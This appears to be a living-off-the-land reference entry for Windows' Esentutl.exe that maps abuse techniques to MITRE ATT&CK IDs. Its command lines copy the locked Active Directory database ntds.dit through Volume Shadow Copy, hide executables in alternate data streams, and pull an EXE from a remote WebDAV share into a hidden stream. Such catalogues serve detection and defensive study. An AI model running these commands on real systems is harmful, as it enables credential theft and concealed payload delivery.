.. / Esentutl.exe
Star

Binary for working with Microsoft Joint Engine Technology (JET) database


Paths:


Resources:
https://twitter.com/egre55/status/985994639202283520
https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
https://twitter.com/bohops/status/1094810861095534592

Acknowledgement:
egre55 - @egre55
Mike Cary - grayfold3d


Detection:



Copy

Copies the source VBS file to the destination VBS file. 
esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
Usecase:Copies files from A to B
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1105



Copies a (locked) file using Volume Shadow Copy 
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
Usecase:Copy/extract a locked file such as the AD Database
Privileges required:Admin
OS:Windows 10, Windows 2016 Server, Windows 2019 Server
Mitre:T1003



Alternate data streams

Copies the source EXE to an Alternate Data Stream (ADS) of the destination file. 
esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
Usecase:Copy file and hide it in an alternate data stream as a defensive counter measure
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096



Copies the source Alternate Data Stream (ADS) to the destination EXE. 
esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
Usecase:Extract hidden file within alternate data streams
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096



Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file. 
esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
Usecase:Copy file and hide it in an alternate data stream as a defensive counter measure
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096



Download

Copies the source EXE to the destination EXE file 
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
Usecase:Use to copy files from one unc path to another
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096